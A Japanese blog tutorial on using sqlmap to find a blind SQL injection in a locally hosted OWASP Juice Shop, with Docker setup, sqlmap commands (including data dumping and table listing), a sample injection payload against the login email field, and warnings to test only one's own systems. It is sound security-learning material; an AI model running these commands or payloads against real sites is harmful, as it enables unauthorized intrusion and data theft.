🛡️

sqlmapを用いてSQLインジェクションを体験する

2023/10/22に公開

DjangoCongressJP 2023で以下のトークを聞いて、久しぶりにセキュリティ熱が出てきたことから、SQLインジェクションについて調べていたところ、sqlmapというツールを見つけました。

https://ftnext.github.io/2023-slides/djangocongressjp/learn-vulnerabilities.html#/

sqlmapはオープンソースのSQLインジェクションに特化している侵入テストツールです。

https://github.com/sqlmapproject/sqlmap

今回は脆弱性を抱えるWebアプリケーションを構築して、そちらに対してsqlmapを使ってSQLインジェクションを体験してみます。

今回はSQLインジェクションの学習のためのものであり、自分が管理するシステム以外に対しては決して実行しないでください。 サイト所有者の合意無しにsqlmapを使ってペネトレーションテストをすることは止めてください。

sqlmapに対応しているDBは以下になります。メジャなーRDSであれば抑えられています。

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB

OWASP Juice Shop

Juice Shopという脆弱性をあえて抱えたWebアプリケーションのツールがあります。Dockerイメージとしても公開されており、簡単にローカル上に構築が可能になります。

https://github.com/juice-shop/juice-shop#docker-container

今回はsqlmapを試すために、ローカルに構築したJuice Shopを対象とします。

インストール方法としては以下になります。事前にDockerの環境をインストールしていることを前提とします。
以下のコマンドで3000番ポートにjuice-shopが構築されます。

http://localhost:3000

$ docker pull bkimminich/juice-shop

$ docker run --rm -p 3000:3000 bkimminich/juice-shop

上記のようにDockerコマンド単体でも構築ができますが、docker-composeで構築したい事情があったため、docker-composeを用いて、juice-shopをローカルに構築してみます。

https://github.com/shimakaze-git/python-web-security/blob/master/docker-compose.yml

version: "3"

services:
  juice-shop:
    image: bkimminich/juice-shop
    restart: always
    ports:
      - 3000:3000

以下のコマンドでローカルにjuice-shopのコンテナが立ち上がるはずです。

$ docker-compose up -d

今回は、Juice Shopに対しては深掘りしません。詳細を知りたい方は以下の記事を見てみてください。

https://www.secure-iv.co.jp/blog/10178

sqlmapの導入

次にsqlmapを導入します。以下のコマンドでgit cloneすることでダウンロードができます。

$ git clone https://github.com/sqlmapproject/sqlmap.git
$ cd sqlmap

$ python sqlmap.py --version

sqlmapの使い方

-uはターゲットURLです。コマンドのオプションの詳細に関しては以下に載っています。

https://github.com/sqlmapproject/sqlmap/wiki/Usage

# GETメソッドの場合の例
$ python sqlmap.py -u "http://localhost:3000/rest/user/login?ID=1&PWD=2"

# POSTメソッドの場合の例
$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data "ID=1&PWD=2"

--dumpのオプションを指定することで、は解析結果を出力することもできます。

$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data "ID=1&PWD=2" --dump

Juice Shopに対してSQLインジェクションを試す

Juice Shopのログイン時に/rest/user/loginに対してPOSTリクエストを送っており、リクエストボディには以下を送っています。

{
  "email":"user@example.com",
  "password":"test"
}

ローカルでjuice shopが動作するhttp://localhost:3000/rest/user/loginに対して、SQLインジェクションのペイロードを送ってみます。

コマンドは以下になります。--dbms=sqliteは指定しなくても動作します。

$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data="email=user@example.com&password=test" --ignore-code=401 --dbms=sqlite

実行結果としては以下のようになります。emailパラメーターにboolean-basedのブラインドSQLインジェクションの脆弱性があることを検知されています。

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:29:06 /2023-10-22/

[15:29:06] [INFO] resuming back-end DBMS 'sqlite'
[15:29:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: email=user@example.com' OR NOT 7747=7747-- ANWq&password=test
---
[15:29:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[15:29:06] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 1 times
[15:29:06] [INFO] fetched data logged to text files under '/Users/hogehoge/.local/share/sqlmap/output/localhost'

[*] ending @ 15:29:06 /2023-10-22/

ペイロードとしては、emailパラメーターにuser@example.com' OR NOT 7747=7747-- ANWqを指定しています。

以下のオプションを指定するのも便利です。

  • --banner : サイトが使用しているDBMSとバージョンを探る
  • --random-agent : User-Agent をランダムで生成します。
  • --batch : 対話型オプションを全てデフォルトで進める。実行途中に何度かオプションを聞かれるため、--batchを付けることで入力を省略します。
$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data "ID=1&PWD=2" --banner --random-agent --batch

テーブルの一覧を取得

sqlmapの機能としては、--tablesを指定することでテーブルの一覧を取得することもできます。

$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data="email=user@example.com&password=test" --ignore-code=401 --dbms=sqlite --tables
<current>
[20 tables]
+-------------------+
| Addresses         |
| BasketItems       |
| Baskets           |
| Captchas          |
| Cards             |
| Challenges        |
| Complaints        |
| Deliveries        |
| Feedbacks         |
| ImageCaptchas     |
| Memories          |
| PrivacyRequests   |
| Products          |
| Quantities        |
| Recycles          |
| SecurityAnswers   |
| SecurityQuestions |
| Users             |
| Wallets           |
| sqlite_sequence   |
+-------------------+

レベルとリスクの指定

sqlmapで実行するレベルとリスクをカスタマイズすることができます。

--level

レベルは5段階で、デフォルトは1です。

レベルを上げるほど多数のペイロードどプレフィックス/サフィックスの組み合わせが試され、追加していきます。

  • レベル2 : Cookie
  • レベル3 : User-AgentReferer`

--risk

リスクは3段階で、デフォルトは1です。

攻撃値の網羅性レベルのパラメーターです。

  • レベル2 : time-base SQL インジェクション
  • レベル3 : OR-base SQL インジェクション

まとめ

今回はSQLインジェクションの勉強のために、sqlmapを使用してみました。オプションもかなり豊富にあるため、全ては紹介しきれませんでしたが、オプション次第でいろんなSQLインジェクションのペネとレーションテストを試すことができます。

冒頭でも述べましたが、自分が管理するシステム以外に対しては決して実行しないでください。

https://whitemarkn.com/learning-ethical-hacker/sqlmap/

https://zenn.dev/ryoyoshii/articles/8e54675dcc5574#テストしてみた

Discussion